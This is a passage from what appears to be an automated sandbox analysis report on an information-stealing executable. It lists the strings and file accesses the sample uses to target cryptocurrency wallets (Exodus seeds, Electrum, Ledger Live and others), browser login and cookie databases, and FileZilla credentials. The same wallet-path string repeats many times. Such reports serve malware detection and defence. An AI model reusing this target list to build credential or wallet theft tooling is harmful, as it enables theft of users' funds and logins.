Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

